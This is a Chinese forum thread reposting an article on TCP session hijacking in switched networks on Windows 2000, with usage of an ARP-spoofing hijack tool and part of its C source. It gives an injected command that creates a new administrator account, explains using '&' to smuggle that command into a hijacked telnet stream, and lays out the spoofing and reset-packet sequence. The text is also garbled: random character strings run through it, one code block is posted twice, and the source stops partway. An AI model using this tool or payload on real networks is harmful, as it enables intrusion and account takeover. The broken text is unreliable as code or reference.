数学建模社区-数学中国

标题: 再谈交换环境下的会话劫持(For windows2000) [打印本页]

作者: 韩冰    时间: 2004-11-21 01:44
标题: 再谈交换环境下的会话劫持(For windows2000)
第一步是开启IP Routing的功能,修改注册表 0 p1 {- m+ C/ W# R# {% ?" Y" k
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter为0x1,重启系统即可。
: u/ i* ^' x/ N# U+ Q第二步是ARP欺骗,具体原理我就不说了。
/ w  `: o" K9 [% `; ^& r第三步就是开始劫持啦。
9 K7 X6 l8 D' R0 \7 s7 p/ |: F) ^; B  n/ {
我写了个程序xHijack可以实现第二、三步功能,使用如下:
, \9 K" Z# ^) _1 \5 ^- v
' T! q& a' q% v1 h( r0 J; |Usage: xHijack ServerSide ClientSide . s, e( X7 c4 c4 ]2 u. \0 ~* A2 {- L
& @. C5 s0 F- M' }: d0 d, a& y( r
下面根据三种不同的情况分别说明如何输入参数: & k8 ~, f/ C: t2 p  P7 N1 z% k& i7 u
<1>服务器、客户端、劫持者处于同一局域网,接在同一交换机上(或交换机级连?)。 9 b6 ~4 s% }+ x8 B7 \
假如服务器的IP是192.168.0.2,客户端的IP是192.168.0.3,提供如下参数给xHijack即可 5 Q+ C: J5 Q# a: m
c:\>xHijack 192.168.0.2 192.168.0.3 / [* N7 n; A% S; f
劫持前数据流程:server <--> client 7 h- g$ z& M. {
劫持后数据流程:server <--> hijacker <--> client
! h6 q" ~  |- N# c+ X# Y
& I- V4 k+ g; Q- w<2>服务器、劫持者处于同一局域网,客户端处于别的网络。
1 e! \7 K, C" R9 x/ G假如服务器IP是202.202.202.2,服务器的网关是202.202.202.1,提供如下参数
# h1 r2 u2 P. S% nxHijack 202.202.202.2 202.202.202.1 ! ]- I! b1 N8 j: ?
劫持前数据流程:server <--> gw <--> routes <--> client 7 [+ \$ J/ K3 M" Q+ m
劫持后数据流程:server <--> hijacker <--> gw <--> routes <--> client
3 u1 k9 R: y; K5 y2 k  S
  j0 R* N7 D9 \% S6 Y8 h( b# R) i, a<3>客户端、劫持者处于同一局域网,服务器处于别的网络。 9 a: I8 ]% Q2 f; o! a
假如客户端的IP是192.168.0.2,网关是192.168.0.1,提供如下参数 * _) d. {$ A# H0 Z$ i, U2 o
xHijack 192.168.0.1 192.168.0.2 ' S. s2 k; Q/ m9 M3 M  B1 \
劫持前数据流程:client <--> gw <--> routes <--> server
( _& i0 J9 I: T; Q劫持后数据流程:client <--> hijacker <--> gw <--> routes <--> server
9 k5 \$ K* e% q/ _7 c6 G- Y$ D- y  S/ L" {
输入两个参数后,会提示你选择网卡,然后会提示 : U2 i7 \' p9 |/ F+ D- |8 c
l        <-- List all connections + q/ w; L$ ]& o) b( w
r x       <-- Reset the number x connection
' Z! Q5 y2 F, L3 ]w x       <-- Watch the number x connection
3 A4 F1 P  H3 F2 f. nh x command   <-- Hijack the number x connection to execute command
- w: A) b$ F) z, S! X+ S9 n8 a$ A6 ~1 q; f! h0 l) H
list、reset、watch命令我就不解释了。
. l! Q# m4 w8 R7 B+ N6 C( Q5 f假如现在有如下连接 ( A  N( m$ I1 p4 h5 @
(1) 202.202.202.202:23 <--> 192.168.0.3:2345
) J) {2 ~& u' f我们想要劫持这个连接运行我们的命令,输入
( Z' x  K0 y5 B. FxHijack>h 1 "&net user ey4s hijack /add & net localgroup administrators ey4s /add"
  a+ ]5 T1 F0 f$ Z0 `' K/ I. Q2 R# w为什么命令前面要加&呢?假如客户刚发送一个字符p过去,我们不加&的话,服务器端接受到的就是
$ p( \' ], b! g( B) ^pnet user.....了,加了&后就成为p&net user.....,这样就不管前面客户输入了什么,我们的命令 ! k/ d; G7 p4 L1 N
都能够运行了。以上都假设服务器是windows 2000,unix下加什么字符,我不知道,我是unix白痴,呵呵。
* w4 {3 P" r( e1 g1 W8 T6 O0 o4 r4 M$ h# r2 ^
劫持的流程如下: ) [8 P# K( P2 l
<1>伪装成Server给Client发一个rst包
+ v; P8 {/ y) X4 ?/ O! i0 B<2>伪装成Client给Server发了一个数据包
. c0 N1 W: q8 i3 R! I  g# q9 N- s# k<3>Server回一个ACK包给client
* X6 E/ {: I! G  _  z<4>因为Cleint的连接已经给我们reset掉了,所以client回一个rst包给server , {. O6 S2 M: {2 l$ C3 }, H
  m' I2 C: g" ?  e+ B/ F7 _) s& A% P
这样的话,我们只能发一个伪造的包,但我想已经足够了。
( v. k1 ^8 a! v! y! j  t. Y想要一直劫持那个连接也可以,如下
9 @# g- y* L0 d, S<1>伪装成Server给Client发一个rst包
8 {6 h; O& c( f3 X! f<2>欺骗Client,告诉它Server的MAC地址AAAAAAAAAAAA
% f! q- H3 s$ q( J1 a5 ~$ c<3>伪装成Client给Server发了一个数据包
* m# v5 s9 _; k. a<4>Server回一个ACK包给client ' a+ h3 |+ X  J
<5>Client回一个rst包给Server,但Server收不到,因为Client发到AAAAAAAAAAAA了,呵呵。 $ L5 H- M! e# ?. N2 v# M7 N& I
<6>然后Server发给Client的包都由我们来处理,包括给Server回ACK包等等。
- ?) h1 b6 j9 s7 o: h' U. z  w  Z# E9 A7 I8 {" w
不过这样比较危险,在我们劫持的过程中,Client与Server的通讯始终是断开的。
% P" L6 Q/ K6 q" a! ^; M" Y: u& A( P( t0 v) {

% b4 A0 o" P5 `. ]' p: M( |刚开始看TCP/IP协议,调程序调得头昏脑涨,说明也写的乱七八糟,呵呵,程序代码也可能存在很多问题, 8 G( T! W" c% `: n
还请各位多多指点。 , K- |/ E2 k" f0 X! }4 F$ n
# E# s5 I3 a0 k* ?' w, T7 r
BTW:我没有空间,编译好的程序没地方放:(
: |/ ?/ I+ P. ?2 ^  l9 L. Z
9 _* @( b+ v8 c; Y4 j1 k3 i" }4 S1 Y& V- G  ]% {2 V

' g) B- K1 M! L参考资料
. F# V1 [3 I3 Z<>交换环境下的会话劫持http://www.xfocus.net/article_view.php?id=375 % p) e# _/ f5 e$ l
<>交换网络中的嗅探和ARP欺骗http://www.xfocus.net/article_view.php?id=377
+ ~& r3 B# t2 P) d9 K  ]
4 r6 B8 s6 c5 U0 f" I! o+ ~0 B7 ]" B( @2 y1 k4 ]; F
以下是程序代码 ) T8 O& ]; V% f) w6 d3 |
----------------------------------------------------------------------
2 \7 D* i( x0 A' ]% Z3 Z/*-----------------------------------------------------------------------------   _* B- i  D% j- N* X
File      : xHijack.c & W/ c" F* }+ g  w$ Q
Version      : 1.0
  E* z& N% ?- @% E3 ~Create at    : 2002/8/12
# W# i! I& \' V7 GLast modifed at  : 2002/8/19 7 O( L7 `' o6 r5 C3 x/ j: ^. y6 r
Author      : eyas 5 A' o& D1 f" \8 w4 U
Email      : ey4s@21cn.com 9 P" E; C, E  \3 C2 @1 |
HomePage    : www.ey4s.org ) V- M% V7 d0 e+ \' K, p# e
感谢refdom和shotgun发布的源代码,使我获益非浅。
) m& z1 a5 \9 e  Z0 {/ m% WIf you modify the code, or add more functions, please email me a copy. - p- P  \) Z& O/ C; _
" T7 t, |1 u$ y& U! |: |, G
备注:
3 t1 V  h" |& U<>没有考虑IP头、TCP头超过20字节的情况 6 l) z7 a) I+ t7 `8 p3 p
<>没有考虑数据包分片的情况 4 R" S+ k9 L% ]1 }3 Y4 h0 g3 G/ D: ^
<>没有对截取到的TCP数据进行解码,如TELNET,虽然是明文传输,但是TCP数据里面包含了
' t! r5 k( ?2 K$ b显示格式、位置等信息,直接打印出来,显得很凌乱。但如果是IRC、SMTP、POP3等就没问
1 P8 W) |1 z0 b4 Z. O0 V- T. K题了。
& u# z  E9 G5 R# N; F) y* F, K' {% }# c
也许下一版本会修正这些问题,也许不会有下一版本了。 4 V0 X& v7 I% k$ E

9 D  ^+ V& _' P& ^-----------------------------------------------------------------------------*/
) ~, u2 T1 t; f) Z#include " i0 z: z# K3 R. D5 C
#include
/ w% g, M3 {+ x& _& ]#include + T+ S3 R9 v" F2 g: o  O  k
#include ) h& R7 l' Q) p
#include
0 \. w8 t2 w/ q1 \6 A2 N#include ' x/ ?# ^6 ^7 v$ i1 `  V6 B* ^
#include
! C5 Y; o  g2 z' J
7 n# |6 t9 D+ x% F#pragma comment (lib, "packet")
# u( N3 l  y' p# I0 L1 ~) W7 g#pragma comment (lib, "iphlpapi") . g6 ?1 S% p$ x
#pragma comment (lib, "ws2_32") 0 A" l) T5 O) Z# l7 B" i

: j& X! o1 s$ u% b- ]% p#define Max_Num_Adapter 10
; Y& b% @8 _7 A+ W0 U! g#define Max_Num_IPAddr  5 + z4 r! h+ W1 H! ~+ h! g
#define EPT_IP      0x0800      /* type: IP  */
8 Z8 z- u9 ~1 Z3 d6 w#define ARP_HARDWARE  0x0001      /* Dummy type for 802.3 frames */
6 B" A$ p% e7 V+ @- [& `: i* `#define EPT_ARP      0x0806      /* type: ARP */
7 z$ {% p0 \8 K2 t! F  ~! e; v& V1 x* N, ?: ?
#define  ACTION_NONE    0
  |. [5 }, p( t#define  ACTION_WATCH  1 , [. u+ v3 q5 Y3 k& h  j: O! ~
#define  ACTION_RESET  2
- e0 T1 T" g5 R" v7 Q8 ^#define ACTION_HIJACK  3 0 m! Z6 v- |7 \( [- c$ d+ a( p

9 y* d3 S( w8 M$ d' h/*以1字节对齐*/
; k+ ?5 L/ k) D#pragma pack(1)
" S6 F) ]  M) R) w2 l4 z+ _0 Ttypedef struct _ehhdr
2 Z8 `5 V1 `: d$ R/ |3 {{
9 A- B7 _! y% l# X8 q, K3 W  unsigned char  DestMAC[6]; 2 D$ u0 \( \# U7 y5 Q
  unsigned char  SourceMAC[6]; : Q  b! H7 a% n+ ^
  unsigned short  EthernetType;
8 q5 U, E  Z, I7 A5 ~+ B}EHHDR, *PEHHDR; # V6 j' @9 x! C" @% r8 Q. ^
4 K2 N7 Y8 ?: z3 J5 w7 v4 U
typedef struct _iphdr        //定义IP首部
# E5 M. N5 ^8 v. M3 o8 `{
* V" g* ~" K! L, F+ N  unsigned char h_verlen;      //4位首部长度,4位IP版本号 9 P  w' I% {% o* o) k1 j
  unsigned char tos;        //8位服务类型TOS
' q% U0 h& A7 B, Y, k3 n  unsigned short total_len;    //16位总长度(字节)
+ E$ x# D; {( {3 Z+ f* d7 E; ]  unsigned short ident;      //16位标识
2 `$ a* f. t- ?& f* `  unsigned short frag_and_flags;  //3位标志位
) o2 D9 i. t" w7 \8 l8 V  unsigned char ttl;        //8位生存时间 TTL * `' t! Q) Y  @" ]
  unsigned char proto;      //8位协议 (TCP, UDP 或其他) 4 I" t8 I+ j0 t( z5 z
  unsigned short checksum;    //16位IP首部校验和
* E# A: X1 @( v' z/ C5 ~" |  unsigned int sourceIP;      //32位源IP地址
* T: N. T2 {9 T% X* v  unsigned int destIP;      //32位目的IP地址
3 C6 j( M: q  }, |8 N9 `$ m/ Y: t. w}IPHDR, *PIPHDR;
3 |; m  f5 I/ |3 ]) {9 G! b) T% p/ O- M# [$ @& `4 j+ D# [
typedef struct _tcphdr        //定义TCP首部
# O. @, M: E: L. O{ $ L  ^0 q1 }$ n9 }' ?
  USHORT th_sport;        //16位源端口
1 H1 f' ?3 H; ]7 H; N  USHORT th_dport;        //16位目的端口
2 g. G7 E: G9 |/ j+ T/ f  unsigned int th_seq;      //32位序列号
0 h( f" F/ K) I. z+ X- B$ o: g0 ^0 [  unsigned int th_ack;      //32位确认号
4 s$ P& |3 \2 p; z3 @5 Q0 x  unsigned char th_lenres;    //4位首部长度/6位保留字 3 t# `$ ?) [6 A% y+ K
  unsigned char th_flag;      //6位标志位 $ q3 t; E8 B" P# E# a, @) b
  USHORT th_win;          //16位窗口大小
1 V) w" I( j  O" X' P) m- `  USHORT th_sum;          //16位校验和 / L- f2 W  u0 m4 F
  USHORT th_urp;          //16位紧急数据偏移量 8 N9 B$ N$ w$ r( F! R) E# v
}TCPHDR, *PTCPHDR;   F+ X% ]2 H& t2 A9 o! u
, ?4 |* V3 L$ Y8 U. C$ L
typedef struct _psdhdr        //定义TCP pseudo header 8 W/ @3 i$ K2 f5 p+ V" m
{               
8 s; j, i/ a" Z- P4 b/ V' n* a  unsigned long saddr;
- U. b& D5 P; P) |1 d  unsigned long daddr; ) P- ?7 Z2 q( z+ z- w2 z
  char mbz;
+ s. J4 y) r  N  Z9 I) m* l2 v  char ptcl;
+ u" `& F) x, U7 E! {  unsigned short tcpl;
- N5 q1 N: s9 V, I8 H  T$ b}PSDHDR, *PPSDHDR; 0 |2 }! t$ H8 l) ~  w

4 X7 r  v* n% v+ t& }  F# Atypedef struct _arphdr ( p; G. h3 e: K( T, M+ C
{
$ o6 S3 y; H* {# c& M3 z% {, c  unsigned short  HrdType;//硬件类型
* {7 x$ J3 O0 p1 ~. @/ }  unsigned short  ProType;//协议类型
0 b4 U( ^$ l( D1 W0 h  unsigned char  HrdAddrlen;//硬件地址长度
+ w+ J% z5 x& K/ K& u  unsigned char  ProAddrLen;//协议地址长度 , |5 s8 e5 j8 _/ @9 C4 K- j
  unsigned short  op;//operation - J; @8 g6 X6 I# }
  unsigned char  SourceMAC[6];/* sender hardware address */
6 O1 G! N3 {2 b& e' q  unsigned long  SourceIP;/* sender protocol address */
+ V# Y: v) T6 V2 K, P- c' S  unsigned char  DestMAC[6];/* target hardware address */
3 s$ |" ^! o! i; N& e) Q4 N  unsigned long  DestIP;/* target protocol address */ " s7 o0 R+ o! C; ~
}ARPHDR, *PARPHDR; * l/ n: t/ c& [+ Y9 a' ]( Z
0 s. ^4 u! O" f- I+ b7 a/ ~5 A
typedef struct _ArpPacket
4 n4 ]# v+ M  }" B2 \{ ; n8 K4 d* ^0 D
  EHHDR  ehhdr; 2 w2 h+ c' \" [# U# \
  ARPHDR  arphdr; 9 H& E, |6 ]& H* @: o+ X9 T
}ARPPACKET, *PARPPACKET;
' A/ D  ?$ D4 E- T. `0 ]
" X" c$ Z* T) `. P  Q. mtypedef struct _tcppacket
+ U6 i. f* w- N& i7 U{ 3 o$ f# ~$ ]+ W, X4 J$ o
  EHHDR  ehhdr; 8 }$ K, a0 L( V" d' i
  IPHDR  iphdr; ' `4 h0 h" V7 L. r
  TCPHDR  tcphdr; , p: X) y6 |8 d/ b( q4 ^, \
}TCPPACKET, *PTCPPACKET;   \8 t' b1 q$ S

/ i6 Y1 ]% D2 p5 P  dtypedef struct _conninfo $ c! t4 [6 U6 T* u: y# x' _3 o, o+ s
{
* m  m( T: Z$ I$ j1 k0 c  DWORD  dwServerIP;
$ p- ]; B' i( O8 v5 }  USHORT  uServerPort; 3 L  K  O" [" Y! d7 v* p
  DWORD  dwClientIP; ' ]( q2 v. k$ Q) r3 `: s
  USHORT  uClientPort; 5 v& N$ w( N) t: n6 k& A% [- T
  DWORD  ident;//标识 ( r4 Q7 f. Y/ Q3 `- C
  BOOL  bActive; # d0 z. Y+ G! S5 K8 _- c7 c9 I
  struct  _conninfo  *Next; / v+ J( J) d: d# d, ?
}CONNINFO, *PCONNINFO; 2 {% m' M" G% ]5 q  T( Z

" ]% Q( y3 X# Q% b//定义全局变量
作者: 韩冰    时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP, $ k" I$ }* b! t3 a3 n6 e& ]
        g_ClientSideIP, ' k+ s4 r4 V- F, e# T- z
        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表
6 ~  y) b5 o% S+ L6 H        g_TotalIP = 0;//
! h2 \/ A  }$ ~( B- [unsigned char  g_szOwnMAC[6];//本机MAC地址 0 ?# ]* a0 U" v  r. |% ^1 A
unsigned char  g_szClientSideMAC[6]; ( d/ b; k4 \8 {4 f$ [  M- k4 r
unsigned char  g_szServerSideMAC[6];
1 I% N! q8 z$ e1 o( ~- T" W6 @char      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位
8 C6 ]4 z8 Y# y( q, ILPADAPTER    g_lpAdapter;
! _* ~5 L3 Q5 l! a  D* O) x//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread
) q9 _4 ~/ i; `4 u! nHANDLE      g_hThread[4];
- l+ j, F' ?; tchar      g_szCommand[128];//command to execute after hijack % F& F2 n: k; p) P
DWORD      g_dwAction;//action type $ ]; S! `' k# @- `5 h7 T
DWORD      g_dwCtrlConn;//action 所控制连接的标识 " W) I+ u, `+ Z! ^6 `$ s! D
DWORD      g_ident;//节点标识,递增 * `3 e8 @4 v3 S$ x- A# d
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针
4 A  R, w+ ^" l% W4 D        g_pConnHead = NULL, 7 E( M3 {3 r. h- v% C
        g_pConnLast = NULL;
* x# N& M3 E) O" c1 |8 e' n" fchar      g_szSendPacketBuf[1514];
; F' I) F3 W8 |LPPACKET    g_lpSendPacket; 8 h( k: K# N( J# b: L( h
//函数 8 U+ S  y4 `( ?4 Y8 [, m
void      usage(void); + o9 \+ V: r. i) B) t
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL);
4 E: [4 r1 S2 T# R6 L& w8 }2 Ivoid      ListAllConnection();//列出当前所有的连接 " d9 f1 X5 J# C; d/ l1 ^3 b
void      ResetActionAllFlag();
: ]' L' V0 B+ Y' Z) Q/ x9 hUSHORT      checksum(USHORT *, int);
4 t5 q/ V1 t0 d2 {: z6 T- iBOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址
7 s# a8 f+ K: n8 G: I" r, t6 }/ fBOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包
! r  X% ?; O, Z8 E; n3 x1 X6 oLPADAPTER    InitAdapter();//初始化一些参数和全局变量 2 q; T7 m+ g7 ]  H
BOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
# X3 n9 [( A$ ~BOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
' f: D+ u; ?, R! d- R4 CDWORD      GetConnNum(char *, DWORD, DWORD *); 8 Q% Z+ r: W/ r! S$ o+ @
DWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
* N7 W! P4 P' ]" @DWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数 7 i+ ^  l6 Z( z" Q8 ]
DWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 3 i1 ?, a6 J9 m
DWORD  WINAPI  InterfaceThread(LPVOID);// # r) L0 s& v0 x. T! O6 `# G- d9 x
BOOL  WINAPI  CtrlEvent(DWORD); % ]7 n! L1 l5 k$ t% H0 `

9 h4 a6 t; a# y0 s3 a( P( k7 r1 D" ?/ ~6 Q0 P0 ?+ B  ^& {

. l4 ~3 B8 B( u: \: ]$ f4 C" Tint main(int argc, char **argv) , x  l2 N: B* k) q
{ 2 T( }6 T; J, U3 r( x9 H6 _
  struct    bpf_stat stat;
# e; H1 \4 r% a# C4 T  int      i; 6 b- }1 y! Y) O3 N
; ^: i# L: i( O+ w# Y+ D
  usage(); + D4 D( W! C; I" D, a
  if (argc != 3) return 0; ) [% p- j( u$ H( U% `! h5 ^
  //取得参数 ; K3 {6 n: h+ d' Q$ d6 s9 D+ x+ z
  g_ServerSideIP = inet_addr(argv[1]);
7 P! |: ~1 d. f) P! s  g_ClientSideIP = inet_addr(argv[2]);
4 V% A+ m' I/ u' {& V5 x  //初始化adapter & 一些全局变量
1 _+ T- R1 k- C, n- J2 I; o  g_lpAdapter = InitAdapter();
2 [6 Q9 w* \- I  if(!g_lpAdapter) return 0; 0 b( }# q) B' P  p3 S2 R8 h
  //get ServerSide MAC & ClientSide MAC
0 c$ B- I8 j, W8 K3 f- x  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
7 D9 `* T. ?3 Z  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; 0 Q) O; ]  k* C: m
  //create arp spoof thread     
( O; F5 b- A1 E1 }" I- `) T. W7 x2 W  i = 1;
" K$ y  _& z! L# l" Z( u  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
2 R) k* L4 {! L$ M3 s8 \' w! V  Sleep(500); ' t0 Z6 R& A5 h1 ^: @0 O2 s
  i = 2;
3 K" W6 Q; J+ y+ p( O8 ?0 p" V  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); : O5 K# G( R4 n/ m
  //create analyse packet thread 3 A( b. c; ^2 r1 X; K2 p: y. _2 u! Y
  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
) W, o8 [. t3 Y  //create interface thread : `2 l% c6 B( b' Q9 V
  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); - M9 h! N- ~1 X8 V( ?
  //set console ctrl handle
* E: ]6 ?0 e& L: R  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) ' U0 J! @3 c$ j! ]& q& G( @
  {
6 [9 z. |( k+ ?9 ?3 T    printf("SetConsoleCtrlHandler error:%d\n", GetLastError()); 4 |1 E* W0 Z1 \+ u( a
    return 0; & E1 M, v/ B- I  W  h/ M* I
  }
( i7 z6 Q; H, ~* X2 H5 D  //wait for any thread exit
! d  r  c5 g( n( S6 D0 e  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); 0 n& Q3 O: F6 ]$ ~" g9 Z1 `
  //print the capture statistics
7 |9 g/ i3 I" ]0 @- S( m# Y& @  if(PacketGetStats(g_lpAdapter, &stat) == FALSE) : G6 s" X& z+ |- `$ C2 P
    printf("Warning: unable to get stats from the kernel!\n");
* M, w; G4 S/ ?: e/ I  else 5 I3 W- e8 q4 O' J( N0 f+ ]1 b
    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
8 y( \1 R7 p/ c" k2 r; m  //free resource   
5 E& l: X5 Q0 Y4 L/ a1 a" Q  PacketFreePacket(g_lpSendPacket);
( P6 s, |% n& W) S9 R  PacketCloseAdapter(g_lpAdapter);
/ y* J. D. D6 R2 y& y1 Z3 b  return 0;
. Q. O! L* ]2 a% I}
8 Y" P; O2 R0 l8 A0 C5 z
2 \1 U1 g; K5 t; t2 A// % w2 h& m' W1 R6 f! t% z% G3 F
//功能:重置所有于ACTION有关的标志 ! v7 O7 n9 P/ V7 L$ A- a- m
//
作者: 韩冰    时间: 2004-11-21 01:44
unsigned int  g_ServerSideIP, 0 e% }0 t  b" W) D" R  B/ q, g" A$ K# _6 C
        g_ClientSideIP,
7 p! j2 {( C- [& G& J5 C        g_OwnIP[Max_Num_IPAddr],//本机IP地址列表 1 o& Q7 p  i0 B+ O; p
        g_TotalIP = 0;//
+ K7 F" ]' T- munsigned char  g_szOwnMAC[6];//本机MAC地址
* w1 {7 T5 o& m2 @' V' h' v6 ^unsigned char  g_szClientSideMAC[6]; 8 l( d9 T  W4 I7 l8 E
unsigned char  g_szServerSideMAC[6];
" ]' u4 U% R; v, ichar      g_szTcpFlag[6] = {'F','S','R','P','A','U'};//TCP标志位 8 x/ i0 p, b  I9 H
LPADAPTER    g_lpAdapter; # y& S% n0 d9 ?% S0 b6 g
//1 and 2 is arp spoof thread, 3 is recv packets thread, 4 is interface thread & T3 D* \4 Q& U- J) o2 M: G% ?/ \* t
HANDLE      g_hThread[4];
2 ~4 c! M" A7 Y" ?4 Q/ D' hchar      g_szCommand[128];//command to execute after hijack
- Z4 ]6 s8 w( Q( K! v/ _DWORD      g_dwAction;//action type
6 J( P; B8 }, \! w3 w; \. P9 k$ yDWORD      g_dwCtrlConn;//action 所控制连接的标识 3 v4 V* B+ q4 j0 @" U
DWORD      g_ident;//节点标识,递增 / a7 o2 n# B' |1 b
PCONNINFO    g_pCurrCtrlConn = NULL,//action当前所控制的连接的信息结构指针 + V4 v5 N! Y/ n  g7 z5 M% _
        g_pConnHead = NULL, + r* [9 |2 y; t" ?# p
        g_pConnLast = NULL;
6 i2 ~% e- U3 Q8 q. S( Vchar      g_szSendPacketBuf[1514]; - F& B( k6 y' \& z
LPPACKET    g_lpSendPacket; , P2 G5 [. p3 Q# P
//函数
0 ?2 A5 _6 A+ B) s! Zvoid      usage(void); 2 e# E$ T' a% u* Z
void      ShowPacketMoreInfo(PTCPPACKET, USHORT, BOOL); 6 v! i6 L  M( U
void      ListAllConnection();//列出当前所有的连接 , s. K2 _4 I' i+ q9 i
void      ResetActionAllFlag(); & V' M) z3 |5 _. B( M/ b/ T
USHORT      checksum(USHORT *, int);
/ X4 t' v; i: b$ p$ h5 k% q9 \BOOL      GetMACAddr(DWORD DestIP, char *pMAC);//取得目标IP的MAC地址 , \* w0 i0 @! N! w% t- H
BOOL      IsACKPacket(unsigned char);//判断是不是一个纯ack包 $ [2 g: D  O! @
LPADAPTER    InitAdapter();//初始化一些参数和全局变量
. B  K" F; {1 N9 c! zBOOL      SendRstPacket(unsigned int, unsigned int);//伪装成server给cilent发送rst包
1 P0 v0 \8 p7 PBOOL      SendHiJackPacket(PTCPPACKET);//伪装成client给server发送我们的包
; G: t. P# V5 mDWORD      GetConnNum(char *, DWORD, DWORD *);
3 _$ N' a: u1 O3 M+ nDWORD      CtrlConnInfoLink(DWORD, USHORT, DWORD, USHORT, BOOL, BOOL);
% ^! X5 }; A6 W( i' ]* E& zDWORD  WINAPI  ArpSpoofThread(LPVOID);//进行arp欺骗的函数
* a  W; D2 p( {4 kDWORD  WINAPI  AnalysePacketsThread(LPVOID);//分析处理接收到的包 6 t& M3 a/ o9 W& K
DWORD  WINAPI  InterfaceThread(LPVOID);//
3 M! a; p/ B  l5 W( TBOOL  WINAPI  CtrlEvent(DWORD); " |5 f0 T/ |' r: ]# ]
1 u/ B' C7 W+ O; V: X, o
: c7 c; F& O1 F& Z# j0 J5 J( O! z& g2 z

6 {- R5 g* o) E  {1 u7 Vint main(int argc, char **argv) 0 I0 T6 \* }4 j8 p
{
, o5 s" K! i6 P0 ^3 @  o  struct    bpf_stat stat; $ ?- d" n2 e& {3 i
  int      i;
) W; X2 k& I/ m& e" y- M1 _3 a* J8 M) I
  usage(); 9 _) E7 Q/ V; e  q
  if (argc != 3) return 0; ! e  i& F# d! B2 M8 q6 S
  //取得参数
* x! {3 O. o8 q* p' b  g_ServerSideIP = inet_addr(argv[1]); : \- ~# o9 D: |* \7 U6 p
  g_ClientSideIP = inet_addr(argv[2]);
( d% ^2 b2 ~1 ?. m9 O  //初始化adapter & 一些全局变量 5 f# U6 C, M/ O% U
  g_lpAdapter = InitAdapter();
5 [+ N; C) t" D" ~) G  if(!g_lpAdapter) return 0; 4 S5 |% c' f. _. m1 N$ ?
  //get ServerSide MAC & ClientSide MAC
6 p  |6 @: ~$ x4 N# Z  if(!GetMACAddr(g_ServerSideIP, g_szServerSideMAC)) return 0;
3 {) k" }8 O9 `  if(!GetMACAddr(g_ClientSideIP, g_szClientSideMAC)) return 0; ! ^' d0 `1 ^# i
  //create arp spoof thread     : H+ z6 o& l. N. T" F, F
  i = 1; : x  `7 r$ y  R/ M# N! E0 a
  g_hThread[0] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0);
& ^8 t8 N9 [1 Q6 [1 f  Sleep(500);
( {3 u+ N9 `* Z! d- A  m; w1 c- h  i = 2;
1 `# T% K8 Y& `  g_hThread[1] = CreateThread(NULL, 0, ArpSpoofThread, &i, 0, 0); ! V$ f4 L& [  n. N7 B0 k- x6 v9 d* ]
  //create analyse packet thread
6 G! c4 ~7 I. w$ o  g_hThread[2] = CreateThread(0, 0, AnalysePacketsThread, NULL, 0, 0);
+ h9 C" X9 Y) Q; s' `  //create interface thread
6 y0 f) f3 Z) n! i# _; f' r  g_hThread[3] = CreateThread(0, 0, InterfaceThread, NULL, 0, 0); 9 ]( n0 f9 G- R
  //set console ctrl handle 3 M" C. d) o7 J) y. w7 S/ G
  if(!SetConsoleCtrlHandler(CtrlEvent, TRUE)) 9 q$ I0 u8 |  g
  {
- Z$ L- C9 ]- X6 A5 o, s# w: `    printf("SetConsoleCtrlHandler error:%d\n", GetLastError());
% @  G. M9 C) w; \# H    return 0; . H# J" B9 [# T7 `( l" [9 X
  }
2 S* q; q* ]3 x4 ~$ r. P8 z9 d  //wait for any thread exit
  ~. c5 Z6 I& {' K* `  WaitForMultipleObjects(4, g_hThread, FALSE, INFINITE); : D( Y, B4 b, j* h- m8 i3 ^5 ?
  //print the capture statistics 1 p; j% q# G3 T  E
  if(PacketGetStats(g_lpAdapter, &stat) == FALSE)
+ v% L% j- K+ ?  `    printf("Warning: unable to get stats from the kernel!\n");
6 L2 N, y8 W! N+ r  else
/ T& Y: ]; C" u$ R7 \$ k    printf("\n\n%d packets received.\n%d Packets lost\n",stat.bs_recv,stat.bs_drop);
2 t; Y( {+ D3 o! A( s6 ]4 @  //free resource   
9 s  Z# @5 O6 ], P4 Z* p  PacketFreePacket(g_lpSendPacket); ( u3 ]! U) i6 |4 m1 ]+ |8 _. x
  PacketCloseAdapter(g_lpAdapter); . \* L( d6 R  h0 Q
  return 0;
) R/ }5 k4 |' W4 X# w: B! v} - R' q5 N9 H! s
! v1 R# c7 U8 L' ]1 f1 R9 m
//
; |. i* m1 L7 Y' c9 ~//功能:重置所有于ACTION有关的标志 & d0 g2 e: S8 M( Z% z
//
作者: 韩冰    时间: 2004-11-21 01:45
void ResetActionAllFlag() 7 O0 ]% t9 v; f' Y9 [% L" `2 r- r; o$ L
{ 5 r) u: T$ g7 `* G) K+ t( i6 p$ g
  g_dwCtrlConn = 0; 9 |9 ]6 U; P" \1 t& o8 O+ H
  g_pCurrCtrlConn = NULL; 0 v' B' c) g! Y) E; e
  g_dwAction = ACTION_NONE;
* }! T4 {0 i$ `. @- _2 |' D}
! ^8 y0 @% T) C1 g: E" o
8 r4 Y! o* O' _8 Q3 g- w& P) f//
